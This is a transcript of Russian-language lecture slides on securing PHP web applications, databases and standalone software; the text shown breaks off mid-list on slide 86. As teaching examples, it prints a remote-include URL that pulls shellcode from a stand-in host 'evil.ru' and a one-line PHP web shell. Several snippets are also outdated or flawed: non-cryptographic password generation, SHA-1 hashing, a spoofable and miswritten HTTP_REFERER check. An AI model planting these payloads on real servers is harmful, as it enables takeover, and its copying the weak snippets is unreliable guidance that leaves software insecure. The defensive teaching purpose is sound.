Обеспечение информационной безопасности

94
Обеспечение информационно й безопасности для web-приложений, информационных систем и автономных программ

description

Обеспечение информационной безопасности. для web- приложений, информационных систем и автономных программ. Информационная безопасность web -приложений. - PowerPoint PPT Presentation

Transcript of Обеспечение информационной безопасности

Page 1: Обеспечение информационной безопасности

Обеспечение информационной

безопасностидля web-приложений,

информационных систем и автономных программ

Page 2: Обеспечение информационной безопасности

Информационная безопасность web-приложений По определению Википедии

«Информационная безопасность — это состояние защищённости информационной среды, защита информации представляет собой деятельность по предотвращению утечки защищаемой информации, несанкционированных и непреднамеренных воздействий на защищаемую информацию, то есть процесс, направленный на достижение этого состояния».

Page 3: Обеспечение информационной безопасности

Информационная безопасность web-приложений По отношению к сайту угрозы делятся на

внутренние и внешние. Соответственно, хакерская атака на сайт магазина будет рассматриваться как внешняя угроза, а занесение вируса на компьютер администратора – как внутренняя. К внутренним угрозам также относят кражу информации сотрудниками.

Page 4: Обеспечение информационной безопасности

Информационная безопасность web-приложений По намеренности угрозы бывают

преднамеренными и непреднамеренными. Например, к непреднамеренным угрозам можно отнести случайное удаление данных сотрудником. Устранить преднамеренные угрозы сложнее, так как вредоносное ПО или человек, угрожающие сайту, имеют чёткий план действий по преодолению возможной защиты.

Page 5: Обеспечение информационной безопасности

Информационная безопасность web-приложений По цели можно выделить угрозы,

направленные на получение данных, уничтожение данных, изменение или внесение данных, нарушение работы ПО, контроль над работой ПО и прочие. Скажем, одной из наиболее частых хакерских атак на сайт какого либо предприятий является получение закрытых сведений для дальнейшего их незаконного использования. Такую угрозу можно классифицировать как внешнюю преднамеренную угрозу, направленную на получение данных.

Page 6: Обеспечение информационной безопасности

Информационная безопасность web-приложений Для обеспечения информационной

безопасности сайта можно рекомендовать следующие меры.

1. Отключение вывода сообщения об ошибках.2. Обеспечение информационной безопасности при

выполнении запросов к базам данных.3. Обеспечение информационной безопасности при

отправке данных через поля форм.4. Обеспечение информационной безопасности при

передаче пароля.5. Обеспечение информационной безопасности при

загрузке изображений.

Page 7: Обеспечение информационной безопасности

Информационная безопасность web-приложений Отключение вывода сообщения об

ошибках. Если у злоумышленника появится

возможность получать отчеты об ошибках, например, в связи с инъекциями в базу данных, он может получить данные о ее структуре и содержимом. Поэтому для того, чтобы эта информация осталась закрытой для пользователей сайта необходимо отключать вывод сообщений об ошибках:

ini_set("display_errors","0")

Page 8: Обеспечение информационной безопасности

Информационная безопасность web-приложений Обеспечение информационной безопасности

при выполнении запросов к базам данных. Риск SQL инъекций возникает всякий раз, когда

программист создает динамический запрос к базе, содержащий введённые пользователем данные. Способов предотвращения SQL инъекций три: Не использовать динамических запросов к базе. Не использовать пользовательских данных в

запросах. Приводить пользовательские данные к виду, который

способна хранить БД.

Page 9: Обеспечение информационной безопасности

Информационная безопасность web-приложений Суть уязвимостей такого типа заключается в

том, что через переменные, которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Пример:

SELECT * FROM table WHERE user=$go

Page 10: Обеспечение информационной безопасности

Информационная безопасность web-приложений Допустим, эта переменная $go передается

как параметр к сценарию и выполняется SQL-комманда. Хакер может в качестве значения переменой передать user=lamer и сам закрыть условие, а далее внедрить через функцию UNION (эта функция появилась с MySQL4, соответственно, в более ранних версиях такая операция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение.

Page 11: Обеспечение информационной безопасности

Информационная безопасность web-приложений Если бы после условия шли еще какие то

другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленник мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).

Для приведения пользовательских данных к нужному виду, чаще всего используется стандартная функция MySQL mysql_real_escape_string().

Page 12: Обеспечение информационной безопасности

Информационная безопасность web-приложений unsigned long

mysql_real_escape_string(MYSQL *mysql, char *to, const char *from, unsigned long length).

Эта функция используется для создания допустимой SQL- строки, которую можно использовать в команде SQL. Строка из секции from кодируется в экранированную SQL-строку, принимая во внимание текущую кодировку данного соединения. Результат помещается в секцию to с добавлением концевого нулевого байта. Кодируются следующие символы: NUL (ASCII 0), `\n', `\r', `\', `'', `"' и Ctrl-Z.

Page 13: Обеспечение информационной безопасности

Информационная безопасность web-приложений Обеспечение информационной

безопасности при отправке данных через поля форм.

Необходимо постоянно помнить о возможности передачи пользователями неправильных данных (злонамеренной или случайной). В web-приложениях эта опасность выражена еще сильнее, поскольку пользователи могут выполнять системные команды при помощи таких функций, как system( ) или ехес( ).

Следует контролировать метод передачи данных сценарию, отдавая предпочтение методу POST:

$var=$_POST[‘name’];

Page 14: Обеспечение информационной безопасности

Информационная безопасность web-приложений Простейший способ борьбы с потенциально

опасным пользовательским вводом - обработка полученных данных стандартной функцией escapeshellcmd( ).

Функция escapeshellcmd( ) экранирует все сомнительные символы в строке, которые могут привести к выполнению потенциально опасной системной команды:

string escapeshellcmd(string команда)

Page 15: Обеспечение информационной безопасности

Информационная безопасность web-приложений В поле, где пользователь вводит

информацию, можно отфильтровать данные. Тут важно определить с самого начала, что можно разрешить для пользовательского ввода. Например, разрешим в теле сообщения некоторые теги html, для этого понадобится функция strip_tags. Разрешим использовать теги <a><b><i>

$string = strip_tags($string, "<a><b><i>");

Page 16: Обеспечение информационной безопасности

Информационная безопасность web-приложений Возможно заменить в переменной

потенциально опасные символы эквивалентными конструкциями HTML. Функция htmlspecialchars() заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями. Имеет смысл использовать с параметром ENT_QUOTES.

Page 17: Обеспечение информационной безопасности

Информационная безопасность web-приложений & амперсанд преобразуется в "&"; " двойные кавычки преобразуются в """

только когда не установлен ENT_QUOTES; одинарная кавычка преобразуется в ""

только когда установлен ENT_QUOTES; < преобразуется в "<"; > преобразуется в ">"; Пример использования: $string = htmlspecialchars($tring,

ENT_QUOTES);

Page 18: Обеспечение информационной безопасности

Информационная безопасность web-приложений В некоторых случаях заранее известен тип

переменной, которая будет использоваться в SQL-запросе, например, при добавлении товара, когда необходимо передать id товара в корзину пользователя. Значения id всегда является целочисленным, поэтому нельзя брать эту переменную в кавычки и замена специальных символов тоже не подойдет. Для решения этой задачи воспользуемся функцией intval:

$id= intval ($_GET[‘id’])

Page 19: Обеспечение информационной безопасности

Информационная безопасность web-приложений Злоумышленник может скачать документ с формой

ввода и подправить ее параметры. Чтобы избежать подобной ситуации, необходимо в самом начале сценария, обрабатывающего данные, установить проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные).

$referer=getenv("HTTP_REFERER"); if (!ereg("^www.сервер.ru")) { print "данные, пришедшие с чужого сервера,

запрещены к приему"; exit;}

Page 20: Обеспечение информационной безопасности

Информационная безопасность web-приложений Некоторые данные, которые должен ввести

пользователь, имеют точную структуру, которая заранее известна. Например, поле «email», в своем синтаксисе обязательно должно содержать символы «@», «.». Также есть ограничение на количество символов после «.» . Соответственно нужно проверять данные, получаемые от пользователя. Обычно эта проверка реализуется с помощью функции eregi:

if(!eregi("^[a-zA-Z0-9\._-]+@[a-zA-Z]+\.[a-zA-Z]{2,4}$", $email)) {echo "Неправильный ввод email-адреса.";}

C помощью этой функции также можно вводить ограничение на количество введенных символов.

Page 21: Обеспечение информационной безопасности

Информационная безопасность web-приложений Защита от автоматического заполнения

форм. Поля для ввода, особенно там, где не надо проходить регистрацию необходимо защищать от автоматического заполнения. Для этого необходимо использовать тесты Тьюринга, например CAPTCHA. Суть их действия заключается в том, что необходимо распознать текст, введенный на картинке и вписать его в поле рядом. Необходимо чтобы картинка не могла быть распознана программами, но была понятна для человека.

Page 22: Обеспечение информационной безопасности

Информационная безопасность web-приложений Текст на картинке, чтобы его нельзя было

распознать как отдельные символы, можно хаотично наклонить, использовать разный размер символов и, например, расположение на разных уровнях. Кроме текста можно также использовать звуковые или графические отображения.

Page 23: Обеспечение информационной безопасности

Информационная безопасность web-приложений Инклуды — тип уязвимостей, при котором

существует возможность вывести содержимое определенного файла на сервере или же вставить содержимое файла с другого сервера внутрь сайта.

Локальные инклуды — инклуды, при которых имеется возможность лишь выводить содержимое любых файлов но в пределах данного сервера. Может использоваться для получения конфигурационных файлов и последующего доступа к административной панели или даже базе данных.

Page 24: Обеспечение информационной безопасности

Информационная безопасность web-приложений Удаленные инклуды — уязвимости, при

которых злоумышленник может определенным запросом вывести содержимое файла со стороннего сайта внутри данного. С помощью этого злоумышленник может вставить свой вредоносный сценарий, например, шелл-скрипт для управления всеми файлами на сервере, как бы ftp с web - оболочкой) и получить доступ ко всему серверу.

Page 25: Обеспечение информационной безопасности

Информационная безопасность web-приложений Пример уязвимого кода: http://site.ru/index.php?page=main.html Такой безобидный запрос выведет содержимое

файла main.html на странице сайта. Но злоумышленник может выполнить такой запрос:

http://site.ru/index.php?page=http://evil.ru/ shellcode.php

и получить доступ ко всему серверу. Это и будет удаленным инклудом. При отсутствии нужных настроек данный инклуд превращается в локальный.

Page 26: Обеспечение информационной безопасности

Информационная безопасность web-приложений Инклуды возможны при наличии в коде

оператора include: $page=$_GET['page']; include ($page);

Page 27: Обеспечение информационной безопасности

Информационная безопасность web-приложений Обеспечение информационной

безопасности при передаче пароля. Web-разработчику нужно помнить о том, что

криптография, случайные числа и запутывание кода могут существенно изменить уровень безопасности web-приложения. Рассмотрим несколько простых методов создания и использования случайных или уникальных значений в web-приложениях, проведем обзор использования некоторых техник запутывания кода, а также обсудим использование методов криптографии в PHP.

Page 28: Обеспечение информационной безопасности

Информационная безопасность web-приложений Генерация случайных чисел определяется

несколькими способами, однако вычислительные генераторы не достигают настоящей случайности, такой как белый шум. Вычисленные числа называются псевдо-случайными.

В PHP существует два различных метода для получения случайного значения. Рассмотрим несколько наиболее популярных функций.

rand(int $min, int $max); mt_rand(int $min, int $max); str_shuffle($str); uniqid($prefix, more_entropy=);

Page 29: Обеспечение информационной безопасности

Информационная безопасность web-приложений Две функции rand() и mt_rand() наиболее часто

используемые функции для генерации случайных чисел в PHP. Функция rand(), более старая версия генератора, вытесняется mt_rand(), которая быстрее, более надежная и может работать с максимально большим значением типа integer на большинстве платформ. Функция str_shuffle() не совсем точно отражает сущность генератора случайных чисел. Она смешивает строку, которую получает в качестве аргумента.

Page 30: Обеспечение информационной безопасности

Информационная безопасность web-приложений Также для генерирования случайных

уникальных значений широко используется функция uniqid(). Функция uniqid() генерирует уникальный идентификатор на основе текущего времени, выраженного в микросекундах (с помощью php.net). Использование данной функции очень удобно при создании идентификаторов сессий и ключей форм.

Page 31: Обеспечение информационной безопасности

Информационная безопасность web-приложений <?php print uniqid(“”);//По умолчанию echo "<br />"; print uniqid("NETTUTS", TRUE); //Добавлен дополнительный префикс и

установлено значение TRUE для more_entropy

?>

Page 32: Обеспечение информационной безопасности

Информационная безопасность web-приложений Генерирование случайного пароля. Нельзя

полагаться на пользователя, что он придумает достаточно надежный пароль. Генерирование случайного пароля также необходимо при регистрации пользователя или в случаях, когда пользователь теряет свой пароль. Такая практика обеспечивает получение надежного пароля сразу с самого знакомства пользователя с вашим сайтом, а также сокращает некоторое количество строк кода, когда пользователю нужно снова получить доступ.

Page 33: Обеспечение информационной безопасности

Информационная безопасность web-приложений <?php function randompassword($count){ $pass =

str_shuffle('abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@#%$*');

return substr($pass,3,$count);//Возвращаем пароль } ?> В данном примере строка смешивается с помощью

str_shuffle, а затем формируется строка пароля заданной длины. Таким образом, если Вы хотите сгенерировать пароль длиной 8 символов, то нужно передать функции randompassword () значение 8.

Page 34: Обеспечение информационной безопасности

Информационная безопасность web-приложений <?php function anorandpass($count) { $m_rand = mt_rand(); //генерируем случайное целое $u_id = uniqid("MNO!@#$%^&*=+XYZ", TRUE);//создаем

уникальный идентификатор с префиксом, постфиксом и повышенной энтропией

$combine = $m_rand . $u_id;// Комбинируем переменные для формирования строки

$new = str_shuffle($combine);//смешиваем строку return substr($new, 2, $count);//возвращаем пароль } print anorandpass(8); ?>

Page 35: Обеспечение информационной безопасности

Информационная безопасность web-приложений Если сравнивать два примера, то первый получает

статичную строку, перемешивает ее и затем возвращает, а во втором процесс имеет более динамичный характер. В примере два смешиваемая строка не является статичной, каждая ее часть генерируется случайно. В то время, как использование примера 1 будет достаточным в большинстве случаев для генерации надежного пароля, пример 2 позволяет нам быть уверенным, что длина строки и набор символов будут изменяться при использовании, что существенно снижает шансы получить копию пароля.

Page 36: Обеспечение информационной безопасности

Информационная безопасность web-приложений Добавление шума к паролю для улучшения

безопасности. Добавление шума к паролю является эффективным способом для увеличения безопасности учетных записей пользователей даже в случае, если злодей получил доступ к базе данных. Если злодей может получить доступ к методу добавления шума, то он может получить расширенные полномочия для управления системой. Поэтому использование техники случайных чисел при хранении пароля делают процесс захвата очень сложным, особенно в условиях, когда информация пользователей и контент хранится в разных базах данных.

Page 37: Обеспечение информационной безопасности

Информационная безопасность web-приложений Создание полноценной системы регистрации

пользователей со всеми колокольчиками и свистками выходит за рамки данной лекции, однако покажем простую систему, которая позволит продемонстрировать генерацию шума и использование методов случайных чисел.

Нужен сценарий регистрации пользователя, который сохраняет данные в базе. Нужно создать страницу входа на сервер, которая будет получать данные из базы и проводить аутентификацию пользователя.

Page 38: Обеспечение информационной безопасности

Информационная безопасность web-приложений Криптография в PHP. PHP обеспечивает несколько

фундаментальных и практичных функций, которые можно использовать для шифрования данных. Далее рассмотрим алгоритм однопроходного хэширования и коснемся шифрования на основе симметричных ключей.

Однопроходное хэширование используется для безопасного хранения паролей и проверки целостности данные в файлах. Семейство алгоритмов хэширования SHA в настоящее время пользуется популярностью, особенно SHA-1. Даже не смотря на то, что алгоритм SHA-1 имеет ряд недостатков, он активно используется.

Page 39: Обеспечение информационной безопасности

Информационная безопасность web-приложений <?php ///Однопроходное хэширование SHA-1 $string = "Netuts is Awesome"; $hash = sha1($string); $hash2 = hash('sha1', $string); echo $hash."<br />"; echo $hash2."<br /><br />"; ?>

Page 40: Обеспечение информационной безопасности

Информационная безопасность web-приложений В PHP пользуется почетом SHA-2, который

требует версии PHP 5.1.2 или новее. SHA-2 более продвинутый алгоритм по сравнению с SHA-1 и может использовать различную длину хэш кода.

Хэш функция вызывается с помощью hash(algorithm, string). Новая версия PHP функции hash() может быть вызванная с указанием любого однопроходного алгоритма хэширования, который поддерживает PHP (например md5, sha-1, haval, ghost).

Page 41: Обеспечение информационной безопасности

Информационная безопасность web-приложений Если Вы хотите увидеть все

зарегистрированные алгоритмы хэширования, то можно использовать:

<?php //Для PHP5 >= 5.1.2 print_r(hash_algos()); ?>

Page 42: Обеспечение информационной безопасности

Информационная безопасность web-приложений HMAC (hash-based message authentication code, хеш-

код идентификации сообщений) является смесью между однопроходным хэшированием и шифрованием на основе ключей. Система безопасности на основе HMAC полагается на размер используемого ключа и на стойкость функции хэширования.

<?php $string_hmac = "Nettuts is Awesome"; //hash_hmac(algorithm, string to hash, key) $hmac = hash_hmac('sha1', $string_hmac, 'secret'); echo $hmac."<br />"; ?>

Page 43: Обеспечение информационной безопасности

Информационная безопасность web-приложений Обеспечение информационной безопасности при

загрузке изображений. Различные web-приложения позволяют

пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать аватары и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в web-приложениях на PHP.

Page 44: Обеспечение информационной безопасности

Информационная безопасность web-приложений Загрузка файлов, обычно состоит из двух независимых

функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей.

<?php $uploaddir = 'uploads/'; $uploadfile = $uploaddir.basename($_FILES['avatar']

['name']); if (move_uploaded_file($_FILES['avatar']['tmp_name'],

$uploadfile)) { echo "Загрузка завершена"; } else { echo "Ошибка загрузки"; } ?>

Page 45: Обеспечение информационной безопасности

Информационная безопасность web-приложений Обычно пользователи будут загружать файлы,

используя подобную форму: <form name="upload" action="upload1.php"

method="POST" ENCTYPE="multipart/form-data"> Выберите файл для загрузки: <input type="file"

name="userfile"> <input type="submit" name="upload" value="upload"> </form> Злоумышленник данную форму использовать не

будет. Он может написать небольшой сценарий, который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

Page 46: Обеспечение информационной безопасности

Информационная безопасность web-приложений В данном случае upload1.php позволяет пользователям

загружать произвольные файлы в корень сайта. Рекомендуется разрешать запись файлов в папки, лежащие вне структуры папок web-сервера. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса web-сервера.

Такой сценарий называется PHP-Shell: <?php system($_GET['command']); ?> Если этот скрипт находится на сервере, то можно

выполнить любую команду через запрос: shell.php?command= Unix_shell команда

Page 47: Обеспечение информационной безопасности

Информационная безопасность web-приложений Проверка Content-Type. Приведенный выше

пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type.

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Page 48: Обеспечение информационной безопасности

Информационная безопасность web-приложений К сожалению, есть способ обойти эту

защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер). Ничего не мешает злоумышленнику установить его в заголовке запроса "Content-Type" ="image/gif”.

Page 49: Обеспечение информационной безопасности

Информационная безопасность web-приложений Проверка содержания файла изображения.

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения.

Page 50: Обеспечение информационной безопасности

Информационная безопасность web-приложений Теперь, если нападающий попытается загрузить

shell.php, даже если он установит заголовок Content-Type в «image/gif», то сценарий все равно выдаст ошибку.

К сожалению, файл может быть действительно в формате GIF или JPEG, и в то же время PHP-сценарием. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных.

Page 51: Обеспечение информационной безопасности

Информационная безопасность web-приложений Когда getimagesize() смотрит на файл, он

воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Подобное изображение может быть создано в любом графическом редакторе.

Page 52: Обеспечение информационной безопасности

Информационная безопасность web-приложений В случае загрузки картинок самым лучшим

способом является сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки потеряются, обеспечив практически гарантируемую безопасность.

Page 53: Обеспечение информационной безопасности

Информационная безопасность баз данных Для СУБД выделяют три основных аспекта

информационной безопасности: Доступность – возможность получения

некоторой требуемой информации или выполнение какого-либо запроса.

Конфиденциальность – защищенность информации от несанкционированного прочтения, право получения информации теми пользователями, кто имеет к ней доступ.

Page 54: Обеспечение информационной безопасности

Информационная безопасность баз данных Целостность – достоверность и точность

информации, её защищенность от непреднамеренного или несанкционированного искажения.

К основным программно-техническим мерам, которые позволят решить проблемы информационной безопасности, относятся:

Page 55: Обеспечение информационной безопасности

Информационная безопасность баз данных репликация баз данных; резервное копирование данных; аутентификация пользователя и

установление его идентичности; управление доступом к базам данных; поддержание целостности данных; протоколирование и аудит; защита коммуникаций между клиентом и

сервером.

Page 56: Обеспечение информационной безопасности

Информационная безопасность баз данных Репликация и резервное копирование Реализация этого метода обеспечения

доступности и целостности данных зависит от выбранной СУБД. Например, MS SQL Server имеет встроенные средства настройки репликации и резервного копирования, а настройка репликации MySQL – довольно сложная процедура, описание которой можно прочесть на http://www.mysql.ru/docs/man/Replication.html или http://habrahabr.ru/blogs/mysql/56702/.

Page 57: Обеспечение информационной безопасности

Информационная безопасность баз данных Резервное копирование в MySQL

выполняется достаточно просто, либо копированием табличных файлов (файлы `*.frm', `*.MYD' и `*.MYI') в тот момент, когда сервер не проводит никаких обновлений, либо с использованием утилит mysqldump или mysqlhotcopy. Детальнее о резервном копировании и восстановлении баз данных MySQL можно прочесть в документации http://www.mysql.ru/docs/man/Backup.html.

Page 58: Обеспечение информационной безопасности

Информационная безопасность баз данных Аутентификация пользователя На этапе подключения пользователя к БД

производится идентификация и проверка подлинности – аутентификация. Этот процесс чаще всего осуществляется либо через соответствующие механизмы операционной системы, либо через определенный SQL-оператор: пользователь определяется своим именем, а средством идентификации служит пароль.

Page 59: Обеспечение информационной безопасности

Информационная безопасность баз данных Подобная система создает значительные

сложности для повторных проверок и исключает подобные проверки перед каждой транзакацией, т. е. при разрыве соединения клиента с базой данных текущая транзакция откатывается, поэтому при следующем соединении требуется повторить идентификацию пользователя и заново проверить его полномочия.

Page 60: Обеспечение информационной безопасности

Информационная безопасность баз данных Выделим несколько важных пунктов связанных с

идентификацией и авторизацией пользователей в системе:

для каждого нового пользователя, которому необходим доступ к БД, необходимо создать учетную запись, состоящую из имени (идентификатора) пользователя и пароля;

первоначальное значение пароля устанавливается администратором БД, так же он определяет периодичность, технологию и порядок изменения пароля, оповещает об этом сотрудников предприятия;

Page 61: Обеспечение информационной безопасности

Информационная безопасность баз данных не допускается коллективное использование

одной и той же учетной записи за исключением тех случаев, когда в технологической схеме есть явное разрешение на использование одной учетной записи несколькими клиентами.

Если пользователь удачно прошел процесс авторизации, он получает доступ к данным согласно его набору полномочий.

Page 62: Обеспечение информационной безопасности

Информационная безопасность баз данных Стоит сказать несколько слов безопасности

передачи информации между клиентом и сервером. Данные запросов пользователей и ответов на них сервера возвращаются в абсолютно открытом виде формата пакета TDS (Tabular Data Stream — поток табличных данных), это означает, что, перехватывая пакеты в локальной сети, можно перехватить информацию, которой пользуются клиенты и сервер SQL.

Page 63: Обеспечение информационной безопасности

Информационная безопасность баз данных Это относится и к личным паролям

пользователей, которые передаются в зашифрованном виде, но существует ряд программ, которые могут собирать данные и парольные хэши и расшифровывать их. В подобных случаях целесообразно организовать защиту сетевого трафика, например, средствами VPN или SSL.

Page 64: Обеспечение информационной безопасности

Информационная безопасность баз данных В SSL для защиты передаваемых между

клиентом и сервером данных используются сертификаты. Например, в SQL Server 2005 можно использовать два типа сертификатов:

сертификат, который автоматически генерируется и подписывается самими SQL Server 2005 (в терминологии, которая используется в документации — self-signed (самоподписанный)).

Page 65: Обеспечение информационной безопасности

Информационная безопасность баз данных Такой сертификат будет автоматически

создаваться и использоваться в ситуации, когда шифрование включено, но какой именно сертификат использовать, явно не указано. Кроме того, такой сертификат всегда используется в автоматическом режиме для шифрования пароля при подключении пользователей от имени логинов SQL Server, даже шифрование не настроено;

Page 66: Обеспечение информационной безопасности

Информационная безопасность баз данных сертификат от внешнего центра

сертификации (Certificate Authority). Для работы с таким сертификатом необходимо чтобы центру сертификации «доверяли» и сервер и клиент.

Наиболее типично использование самоподписанного сертификата, поскольку он дает достаточную защиту информации при передачи данных по локальной сети.

Page 67: Обеспечение информационной безопасности

Информационная безопасность баз данных Управление доступом к данным Управление доступом — метод ограничения

доступа к объектам базы данных, основанный на учете ролей или групп, в которую входит пользователь информационной системы. Эта технология обеспечивает владельцу объекта (представления, сервера базы данных, процедуры, таблице) возможность передачи привилегий другому лицу.

Page 68: Обеспечение информационной безопасности

Информационная безопасность баз данных Таким владельцем обычно является администратор

БД. Именно он определяет правила безопасности и целостности данных. Определяет роли пользователей и предоставляет им соответствующие привилегии.

Для распределения прав доступа к объектам базы данных используется пользователи, группы и роли. Всеми этими объектами необходимо управлять и отслеживать, чтобы каждый пользователь, наследуя права, предоставляемые ролями, имел доступ только к тем данным, которые действительно необходимы для решения поставленных задач.

Page 69: Обеспечение информационной безопасности

Информационная безопасность баз данных С помощью ролей достаточно удобно

управлять доступом: выдавать разрешения или запреты целой группе пользователей. Одна роль может наследовать права доступа другой роли, что дает возможность создания иерархической структуры прав. Все сотрудники, которые должны иметь доступ к корпоративной базе данных, могут быть включены в одну роль, которой будут предоставлены минимальные права.

Page 70: Обеспечение информационной безопасности

Информационная безопасность баз данных Теперь, если необходимы дополнительные

привилегии, например, доступ к определенным таблицам, то для этого можно добавлять пользователя в другие роли (если такой же доступ нужен группе) или выделять права конкретной учетной записи.

Page 71: Обеспечение информационной безопасности

Информационная безопасность баз данных Поддержание целостности данных Ссылочная целостность – это ограничение

действий пользователя, с целью сохранения ссылок между таблицами правомерными и неповрежденными.

Обеспечение целостности данных не менее важная задача, чем управление доступом. Основные средства поддержания целостности данных являются правила и ограничения.

Page 72: Обеспечение информационной безопасности

Информационная безопасность баз данных Ограничения могут учитываться либо в самой

реляционной в реляционной модели данных, либо могут задаваться в процессе создания таблицы. Табличные ограничения, в свою очередь, могут относиться к группе столбцов, отдельным атрибутам. Ссылочные ограничения отвечают за поддержание целостности связей между таблицами. Ограничения накладываются владельцем таблицы и позволяют сохранить целостность данных, если пользователя нечаянно или намеренно захочет удалить связанные данные.

Page 73: Обеспечение информационной безопасности

Информационная безопасность баз данных Правила позволяют выполнять заданные

процедуры при определенных изменениях базы данных. В отличие от ограничений, обеспечивающих контроль относительно простых условий, правила позволяют поддерживать и проверять соотношения любой сложности между элементами данных в базе. Но применение правил как инструмента информационной безопасности имеет один существенный недостаток: ошибка в сложной системе правил чревата непредсказуемыми последствиями для всей базы данных.

Page 74: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Любая коммерческая организация, деятельность

которой связана с созданием программных продуктов, сталкивается с проблемой их защиты от несанкционированного копирования. Для ее решения применяют следующие методы защиты:

организационные – полноценное использование программного продукта невозможно без соответствующей поддержки со стороны производителя: подробной пользовательской документации, «горячей линии», системы обучения пользователей, обновления версий и др.;

Page 75: Обеспечение информационной безопасности

Информационная безопасность автономных приложений юридические – за использование контрафактных

экземпляров программ для ЭВМ и баз данных, так и за преодоление применяемых технических средств защиты предусмотрена ответственность, в соответствии с действующим законодательством;

технические – программные/программно-аппаратные средства, которые затрудняют создание копий защищаемой программы, позволяют отследить создание таких копий, либо делают невозможным ее применение лицам, не имеющим на это права.

Page 76: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Небольшие предприятия наиболее часто

применяют методы последней группы. Организационные же нашли широкое применение к достаточно большим и сложным программным продуктам.

Рассмотрим некоторые технические возможности для защиты от несанкционированного копирования или использования программ:

Page 77: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Использование оптических дисков,

использующиеся не только как носители программы, но в роли ключа, разрешающего выполнение программы (для этого применяют запись информации в неиспользуемых секторах, проверку расположения и содержимого наперед заданных секторов, проверка скорости чтения отдельных секторов);

Page 78: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Электронный ключ, вставленный в один из

портов компьютера (обычно LPT или USB, реже — COM). Достоинство ключа в том, что его можно вставлять в любой компьютер, на котором пользователь установил программу. Но при этом может быть запущен только один ее экземпляр. Является достаточно дорогостоящим решением;

Page 79: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Запущенная программа работает с

централизованным сервером и без него бесполезна, она может передавать серверу свой серийный номер: если номер неправильный, сервер отказывает в услуге;

Использование криптографии, для обеспечения возможности использования программы только для клиентов предприятия.

Page 80: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Применение криптографии оптимально для

небольших предприятий, программы которых имеют малочисленную клиентскую базу. Реализовать данный метод можно как с помощью симметричного, так и асимметричного алгоритмов шифрования.

Безопасность, обеспечиваемая традиционной криптографией, зависит от следующих факторов:

Page 81: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Во-первых, криптографический алгоритм

должен быть достаточно сильным, чтобы передаваемое зашифрованное сообщение невозможно было расшифровать без ключа, используя только различные статистические закономерности зашифрованного сообщения или какие-либо другие способы его анализа.

Page 82: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Во-вторых, безопасность передаваемого

сообщения должна зависеть от секретности ключа, но не от секретности алгоритма. Алгоритм должен быть проанализирован специалистами, чтобы исключить наличие слабых мест, при наличии которых плохо скрыта взаимосвязь между незашифрованным и зашифрованным сообщениями. К тому же при выполнении этого условия производители могут создавать дешевые аппаратные чипы и свободно распространяемые программы, реализующие данный алгоритм шифрования.

Page 83: Обеспечение информационной безопасности

Информационная безопасность автономных приложений В-третьих, алгоритм должен быть таким,

чтобы нельзя было узнать ключ, даже зная достаточно много пар (зашифрованное сообщение, незашифрованное сообщение), полученных при шифровании с использованием данного ключа.

Среди требований к стойкому алгоритму шифрования называют следующие статистические характеристики:

Page 84: Обеспечение информационной безопасности

Информационная безопасность автономных приложений отсутствие статистической зависимости между

исходными данными текстом и зашифрованными;

зашифрованное сообщение по статистическим характеристикам не отличимо от истинно случайной последовательности;

изменение любого бита в ключе шифрования при неизменных исходных данных приводит к изменению примерно 50% бит зашифрованного сообщения (для симметричных алгоритмов);

Page 85: Обеспечение информационной безопасности

Информационная безопасность автономных приложений изменение любого бита в блоке исходных данных

при неизменном ключе шифрования приводит к изменению примерно 50% бит зашифрованного сообщения (для блочных алгоритмов).

При симметричных алгоритмах шифрования (также этот метод называют криптографией с секретными ключами) отправитель и получатель информации используют один и тот же ключ. Этот ключ должен храниться в тайне и передаваться способом, исключающим его перехват. Алгоритм шифрования должен быть выбран между участниками обмена до его осуществления.

Page 86: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Передача программного обеспечения проводится в

следующей последовательности (см. рисунок): Все необходимые файлы помещаются в

зашифрованный архив с ключом, сгенерированным случайным образом;

Зашифрованный архив помещается в свободном доступе на одном из сетевых ресурсов;

